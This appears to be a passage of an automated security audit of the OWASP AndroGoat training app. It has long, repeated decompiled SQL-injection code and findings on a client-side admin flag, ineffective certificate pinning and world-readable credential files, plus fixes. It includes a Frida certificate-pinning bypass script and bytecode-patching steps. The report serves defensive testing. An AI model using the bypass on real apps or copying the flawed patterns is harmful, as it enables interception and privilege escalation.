            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()` :

```
    SQLinjectionActivity$onCreate$1(owasp.sat.agoat.SQLinjectionActivity p1, android.widget.EditText p2)
    {
        this.this$0 = p1;
        this.$username = p2;
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

### Finding #6

User controlled parameter is used to construct an SQL parameter vulnerable to SQL injection Taint traced from non-reachable component: `owasp.sat.agoat.SQLinjectionActivity` found at `owasp.sat.agoat.SQLinjectionActivity` . From parameter `0` to sink `android.database.Cursor android.database.sqlite.SQLiteDatabase.rawQuery(java.lang.String, java.lang.String[])` . Taint trace:

```
at android.database.sqlite.SQLiteDatabase.rawQuery()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at android.database.sqlite.SQLiteDatabase.rawQuery()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
```

```
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
```

```
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
```

```
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
```

```
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()` :

```
    SQLinjectionActivity$onCreate$1(owasp.sat.agoat.SQLinjectionActivity p1, android.widget.EditText p2)
    {
        this.this$0 = p1;
        this.$username = p2;
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

### Recommendation

To mitigate Mobile SQL Injection vulnerabilities, Consider the following:

- Use parameterized queries or prepared statements to separate SQL code from user input.
- Sanitize and validate user input before inserting it into database to help mitigate second-order SQL injection.
- Regularly update SQL driver to address any known vulnerabilities.

KOTLIN

```
 import java.sql.Connection
import java.sql.DriverManager
import java.sql.PreparedStatement

fun main() {
    val url = "jdbc:mysql://localhost:3306/mydatabase"
    val username = "username"
    val password = "password"

    var connection: Connection? = null
    var preparedStatement: PreparedStatement? = null

    try {
        connection = DriverManager.getConnection(url, username, password)
        val sql = "INSERT INTO users (name, email) VALUES (?, ?)"
        preparedStatement = connection.prepareStatement(sql)

        // Set values for the parameters
        preparedStatement.setString(1, "John")
        preparedStatement.setString(2, "john@example.com")
```

```
        // Execute the prepared statement
        preparedStatement.executeUpdate()
    } catch (e: Exception) {
        e.printStackTrace()
    } finally {
        preparedStatement?.close()
        connection?.close()
    }
}
```

SWIFT

```
 import Foundation
import SQLite3

func insertUser(name: String, email: String) {
    var db: OpaquePointer?
    var statement: OpaquePointer?

    let dbPath = "path_to_your_database_file.db"

    if sqlite3_open(dbPath, &db) == SQLITE_OK {
        let insertStatementString = "INSERT INTO users (name, email) VALUES (?, ?)"

        if sqlite3_prepare_v2(db, insertStatementString, -1, &statement, nil) == SQLITE_OK {
            sqlite3_bind_text(statement, 1, (name as NSString).utf8String, -1, nil)
            sqlite3_bind_text(statement, 2, (email as NSString).utf8String, -1, nil)

            if sqlite3_step(statement) == SQLITE_DONE {
                print("Successfully inserted row.")
            } else {
                print("Could not insert row.")
            }
        } else {
            print("INSERT statement could not be prepared.")
        }

        sqlite3_finalize(statement)
    } else {
        print("Unable to open database.")
    }

    sqlite3_close(db)
}
```

FLUTTER

```
 import 'package:sqflite/sqflite.dart';
import 'package:path/path.dart';

void insertUser(String name, String email) async {
  Database database = await openDatabase(
    join(await getDatabasesPath(), 'mydatabase.db'),
    onCreate: (db, version) {
      return db.execute(
        "CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, email TEXT)",
      );
    },
    version: 1,
  );

  await database.transaction((txn) async {
    await txn.rawInsert(
      'INSERT INTO users(name, email) VALUES(?, ?)',
      [name, email],
    );
  });
}
```

### References

- OWASP Mobile Security Testing Guide (MSTG)

MEDIUM

## 13. Admin Privilege Determined by Client-Side Boolean Flag Without Server Verification

BinaryPatchingActivity gates admin UI functionality using a local boolean field that is never validated by a backend API, cryptographic token, or re-authentication challenge.

The Activity initializes a `private final boolean isAdmin` field to `false` and uses it in `onCreate()` to decide whether to enable an admin button and display admin text. Because there is no server-side role check, no signature verification, and no step-up authentication, an attacker can escalate privileges by toggling this flag at runtime via Frida or by patching the APK's Dalvik bytecode. This demonstrates a privilege escalation path that relies entirely on client-side trust, with no secondary verification required.

### Technical Details

Finding #1

#### Root Cause

`BinaryPatchingActivity` controls access to admin UI elements using a `private final boolean isAdmin` field initialized to `false`. The Activity checks this flag during `onCreate()`; if `true`, it enables an admin button and updates a TextView. There is no backend API call, cryptographic attestation, or step-up authentication to validate the admin state.

#### Vulnerable Code

`BinaryPatchingActivity.java` (lines 17, 39–54):

```
private final boolean isAdmin; // Initialized to false

// ...
public final boolean isAdmin() {
    return this.isAdmin;
}

// In onCreate():
if (this.isAdmin) {
    ((TextView) findViewById(R.id.adminText)).setText("You are an admin");
    ((Button) findViewById(R.id.adminButton)).setEnabled(true);
}
```

#### Exploitation Evidence

[Static Analysis] The field is a compile-time constant with no remote verification. An attacker can use Frida to hook `BinaryPatchingActivity.isAdmin()` and return `true`, or binary-patch the APK to change the Dalvik initializer from `const/4 v0, 0x0` to `0x1`. The backend is never consulted, and no re-authentication is triggered when the admin UI becomes enabled.

---

### Validation Evidence

#### Root Cause

BinaryPatchingActivity (package owasp.sat.agoat) controls access to administrative UI elements through a `private final boolean isAdmin` field declared at line 17 of the decompiled Java source (`base.apk/sources/owasp/sat/agoat/BinaryPatchingActivity.java`). The field receives the JVM default value `false` and is immutable after construction due to the `final` modifier. During `onCreate()` (line 48), the Activity checks `this.isAdmin`; when `true`, it enables `adminButton` and updates `isAdminText`. The validation confirmed there are zero external input vectors, no network requests, no cryptographic attestation, no signature verification, and no step-up authentication anywhere in the Activity or its reachable call graph.

#### Vulnerable Code

`BinaryPatchingActivity.java` (lines 17, 39–54):

```
// Line 17
private final boolean isAdmin;

// Accessor method, lines 39-41
public final boolean isAdmin() {
    return this.isAdmin;
}

// onCreate() gating logic, lines 48-54
if (this.isAdmin) {
    TextView isAdminText = (TextView) _$_findCachedViewById(R.id.isAdminText);
    Intrinsics.checkExpressionValueIsNotNull(isAdminText, "isAdminText");
    isAdminText.setText("You are Admin Now");
    Button adminButton = (Button) _$_findCachedViewById(R.id.adminButton);
    Intrinsics.checkExpressionValueIsNotNull(adminButton, "adminButton");
```

```
        adminButton.setEnabled(true);
    }
```

When `isAdmin` is `false` (default), the layout `activity_binary_patching.xml` renders `isAdminText` as "Sorry, You don't have access to this feature." and `adminButton` remains disabled ( `android:enabled="false"` ). No alternative code path validates the admin state against a remote authority.

### Exploitation Evidence

[Static Analysis] The source code audit verified that `isAdmin` is assigned only once (implicitly to `false` in the synthetic constructor) and never modified thereafter. A project-wide search for `isAdmin\s*=` returned zero matches, confirming no setter, reflection, or native code modifies the flag.

The manifest audit ( `base.apk/AndroidManifest.xml` , line 5) revealed:

```
<application android:allowBackup="true"
             android:debuggable="true"
             android:networkSecurityConfig="@xml/network_security_config"
             ... >
```

`android:debuggable="true"` allows Frida or other instrumentation tools to attach **without root access**, dramatically lowering the barrier for an attacker to hook `BinaryPatchingActivity.isAdmin()` at runtime and force it to return `true` . The Activity is not exported ( `android:exported` defaults to `false` ), but once the app is running locally, an attacker can patch the Dalvik initializer from `const/4 vX, 0x0` to `const/4 vX, 0x1` to permanently enable the admin UI on every launch. No backend validation, re-authentication, or integrity check is triggered when the admin interface is activated.

### Recommendation

#### Immediate

Remove the client-side `isAdmin` flag from `BinaryPatchingActivity` . Instead, query a backend `/user/role` endpoint over authenticated TLS and cache the role in `EncryptedSharedPreferences` with a short TTL.

#### Permanent Fix

Implement server-side role enforcement for every privileged action. The client should send a signed JWT or session token to the backend, which validates the role claim before returning admin data or enabling admin functions:

```
// Client side: only UI gating; backend enforces authorization
// Server side: validate token.role == "admin" before processing
```

#### Verification

Use Frida to hook `BinaryPatchingActivity.isAdmin()` to return `true` . Confirm that attempted admin actions still fail because the backend rejects the request. Review the source to ensure no local boolean alone can enable privileged UI elements.

---

## MEDIUM 14. Certificate Pinning in TrafficActivity Silently Fails Due to Broad Exception Handling

The OkHttp CertificatePinner in `TrafficActivity.doPinning()` is rendered ineffective because `SSLPeerUnverifiedException` is swallowed by a broad catch block, allowing silent Man-in-the-Middle attacks.

`TrafficActivity.doPinning()` implements OkHttp `CertificatePinner` for `owasp.org` with three SHA-256 pins. However, the entire network request is wrapped in `try { ... } catch (Exception e) { e.printStackTrace(); }` , which silently suppresses `SSLPeerUnverifiedException` when certificate pinning fails. Combined with the global user-installed CA trust, an attacker can intercept this pinned connection using a proxy certificate without the user being notified.

### Technical Details

#### Finding #1

### Root Cause

The developer added certificate pinning using OkHttp's `CertificatePinner.Builder` , but wrapped the pinned request inside a broad exception handler that prints the stack trace instead of failing securely. This destroys the security guarantee of pinning because the application continues execution silently after a pin mismatch.

### Vulnerable Code

`TrafficActivity.java` lines 140–141:

```
CertificatePinner pinner1 = new CertificatePinner.Builder()
    .add("owasp.org", "sha256/gdU/UHClHJBFbIdeKuyHm/Lq/aQvMLyuTtcvTEE/1JQ=")
    .add("owasp.org", "sha256/YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=")
    .add("owasp.org", "sha256/Vjs8r4z+80wjNcr1YKepWQboSIRi63WsWXhIMN+eWys=")
    .build();
OkHttpClient client = new OkHttpClient.Builder().certificatePinner(pinner1).build();
```

`TrafficActivity.java` lines 147–148:

```
} catch (Exception e) {
    e.printStackTrace();
}
```

### Exploitation Evidence

[Static Analysis] The decompiled source shows the pinning logic is isolated to `doPinning()` and only pins `owasp.org`. Because the app's Network Security Config already trusts user-installed CAs, the TLS handshake accepts a proxy certificate. The pinner then throws `SSLPeerUnverifiedException`, but the broad `catch (Exception e)` block at lines 147–148 silently swallows it. A Frida hook on `okhttp3.CertificatePinner.check()` can also neutralize the pin check:

```
Java.perform(function () {
    var Pinner = Java.use("okhttp3.CertificatePinner");
    Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function (hostname, certs) {
        console.log("[*] Bypassed pin for: " + hostname);
    };
});
```

---

## Validation Evidence

### Root Cause

Validation confirms that `TrafficActivity.doPinning()` at `owasp/sat/agoat/TrafficActivity.java` lines 139–149 is the sole certificate pinning enforcement point in the entire application. It builds an OkHttp `CertificatePinner` with three SHA-256 pins for `owasp.org`, but wraps the synchronous `execute()` call in a single broad `try` block closed by `catch (Exception e) { e.printStackTrace(); }`. Because `SSLPeerUnverifiedException` is a subclass of `Exception`, any pinning mismatch is deterministically swallowed rather than failing securely. The app's `AndroidManifest.xml` references `android:networkSecurityConfig="@xml/network_security_config"`, and the corresponding `res/xml/network_security_config.xml` contains `<certificates src="user"/>`, which instructs the OS to trust user-installed CAs. This allows a proxy certificate to pass the TLS handshake before OkHttp's pinner rejects it.

### Vulnerable Code

Validated in the decompiled source tree (`/workspace/source_code_analysis_dfcb434d7ae9421693bf4c0774f91126/base.apk/sources/owasp/sat/agoat/TrafficActivity.java`):

Lines 139–146:

```
try {
    CertificatePinner pinner1 = new CertificatePinner.Builder()
        .add("owasp.org", "sha256/gdU/UHClHJBFbIdeKuyHm/Lq/aQvMLyuTtcvTEE/1JQ=")
        .add("owasp.org", "sha256/YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=")
        .add("owasp.org", "sha256/Vjs8r4z+80wjNcr1YKepWQboSIRi63WsWXhIMN+eWys=")
        .build();
    OkHttpClient client = new OkHttpClient.Builder().certificatePinner(pinner1).build();
    Request request = new Request.Builder().url("https://owasp.org").build();
    Response response = client.newCall(request).execute();
    ResponseBody body = response.body();
    Log.v("Response", body != null ? body.string() : null);
} catch (Exception e) {
    e.printStackTrace();
}
```

The same pattern is mirrored in the alternate decompilation (`TrafficActivity$doPinning$1.java` line 28).

### Exploitation Evidence

[Static Analysis] An exhaustive search across all decompiled app sources (`/workspace/jadx_out/sources`, `/workspace/jadx_out2/sources`, `/workspace/decompiled_source/sources`, and associated analysis directories) confirms that `CertificatePinner.Builder` is instantiated **only** inside `TrafficActivity.doPinning()` (and its anonymous inner class `TrafficActivity$doPinning$1.invoke2()`), and the only hostname ever pinned is `owasp.org`.

No alternative pinning libraries (TrustKit, AndroidPinning), custom `TrustManager`, `HostnameVerifier`, or `SSLContext` manipulations exist anywhere in the codebase. The single `OkHttpClient.Builder.certificatePinner()` call site is at line 141 of `TrafficActivity.java`.

The method is triggered exclusively by a UI button click (`R.id.PinningButton`) that fires `doPinning()` inside an Anko `doAsync` background thread. Source-to-sink analysis confirms the network response only flows to `android.util.Log.v("Response", body.string())` at line 146; zero UI (`Toast`, `TextView`), `SharedPreferences`, file, or IPC sinks are present. Consequently, when `client.newCall(request).execute()` throws `SSLPeerUnverifiedException` due to a pin mismatch, the exception is caught at lines 147–148, printed to `System.err`, and execution continues silently with no user-facing feedback.

**Evidence Limitation:** Dynamic exploitation via an active intercepting proxy or live Frida instrumentation was not executed during this validation phase. The vulnerability is confirmed through deterministic static analysis of the exception handling hierarchy and codebase scope isolation.

### Recommendation

#### Immediate

Replace the broad catch block in `doPinning()` with specific exception handling that fails securely:

```
} catch (SSLPeerUnverifiedException e) {
    Log.e("PINNING_FAILURE", "Certificate pinning failed for owasp.org", e);
    // Terminate connection and notify user
    return;
} catch (IOException e) {
    Log.e("NETWORK_ERROR", "Network error occurred", e);
}
```

#### Permanent Fix

1. Do not swallow `SSLPeerUnverifiedException`. Treat any pinning failure as a fatal security error for that connection.
2. Extend pinning to all production endpoints, not just `owasp.org`, using either OkHttp `CertificatePinner` or `<pin-set>` in `network_security_config.xml`.

#### Verification

1. Intercept the `https://owasp.org` request in `doPinning()` using a proxy CA.
2. Without the fix, the app silently logs the exception and shows no data.
3. With the fix, the app must log a pinning failure and abort the connection, with no network request completing.

---

## MEDIUM 15. Insecure External Storage Permissions Leak Credentials (InsecureStorageSDCardActivity)

`InsecureStorageSDCardActivity` writes user credentials to a temporary file on external storage and explicitly sets the file world-readable and world-writable.

This flaw exposes user credentials to any co-installed application. While the expected file path traversal vector was confirmed absent from this APK build, the existing insecure storage implementation still constitutes a meaningful confidentiality risk for cleartext credential persistence on shared storage.

### Technical Details

Finding #1

#### Root Cause

The Activity constructs a temporary file on `Environment.getExternalStorageDirectory()` and then calls `setReadable(true)` and `setWritable(true)`, granting read and write access to all applications on the device. The absolute file path is additionally leaked to logcat via `System.out.println()`.

#### Vulnerable Code

**InsecureStorageSDCardActivity.java** (lines 68–76):

```
File externalStorageDirectory = Environment.getExternalStorageDirectory();
Intrinsics.checkExpressionValueIsNotNull(externalStorageDirectory,
    "Environment.getExternalStorageDirectory()");
File userinfo = File.createTempFile("users", "tmp",
    new File(externalStorageDirectory.getAbsolutePath()));

System.out.println((Object) ("userinfo " + userinfo));
userinfo.setReadable(true);
userinfo.setWritable(true);

FileWriter fw = new FileWriter(userinfo);
fw.write(data);
fw.close();
```

### Exploitation Evidence

[Static Analysis] The source confirms that every invocation of the Save button creates a world-readable file containing the concatenated username, password, and timestamp. Any third-party application holding `READ_EXTERNAL_STORAGE` can enumerate and read these files. The logcat leak ( `System.out.println` ) additionally discloses the absolute path, removing any need for filesystem enumeration.

**Attack scenario:** A malicious app with `READ_EXTERNAL_STORAGE` monitors logcat or enumerates the external storage root for `users*.tmp` files and extracts cleartext credentials.

---

## Validation Evidence

### Root Cause

The application targets `targetSdkVersion=26` (Android 8.0), forcing legacy external storage behavior where `Environment.getExternalStorageDirectory()` returns a shared, globally browsable namespace (e.g., `/sdcard/` or `/storage/emulated/0/` ). Files created in this directory are inherently accessible to any co-installed application holding `READ_EXTERNAL_STORAGE` because the underlying sdcardfs/FUSE/emulated FAT32 mount does not enforce Unix permission bits. Validation confirmed that `android:debuggable="true"` and `android:allowBackup="true"` are both enabled in the manifest, compounding the confidentiality risk through runtime memory inspection and adb backup extraction.

### Vulnerable Code

Validation of the decompiled source ( `base.apk/sources/owasp/sat/agoat/InsecureStorageSDCardActivity.java` ) identified the precise line numbers for each insecure operation and traced the complete cleartext data assembly:

**Credential assembly written to disk (lines 45–51):**

```
StringBuilder sb = new StringBuilder();
sb.append(" This data is stored in SdCard on ").append(new Date().toString()).append(":\n");
sb.append(" Username - ").append(username.getText().toString()).append("\n");
sb.append(" Password -").append(password.getText().toString());
String data = sb.toString();
```

**File creation on shared storage (lines 68–70):**

```
File externalStorageDirectory = Environment.getExternalStorageDirectory();
Intrinsics.checkExpressionValueIsNotNull(externalStorageDirectory,
    "Environment.getExternalStorageDirectory()");
File userinfo = File.createTempFile("users", "tmp",
    new File(externalStorageDirectory.getAbsolutePath()));
```

**Logcat path disclosure (line 71):**

```
System.out.println((Object) ("userinfo " + userinfo));
```

**Permission calls (lines 72–73):**

```
userinfo.setReadable(true);
userinfo.setWritable(true);
```

[Static Analysis] The `setReadable(boolean)` and `setWritable(boolean)` invocations were verified to be the single-argument owner-only overloads. On API 26 legacy external storage, this distinction is functionally irrelevant because the emulated filesystem does not honor `chmod` bits; any file placed on the shared external storage root is readable in practice by all apps with `READ_EXTERNAL_STORAGE` .

### Exploitation Evidence

[Static Analysis] **Manifest & SDK Context:**

- `AndroidManifest.xml` declares `WRITE_EXTERNAL_STORAGE` and `READ_EXTERNAL_STORAGE` .
- `targetSdkVersion="26"` and `minSdkVersion="18"` were extracted from `base.apk/apktool.yml` .
- `android:debuggable="true"` and `android:allowBackup="true"` are both present.

[Static Analysis] **Absence of Mitigations:**

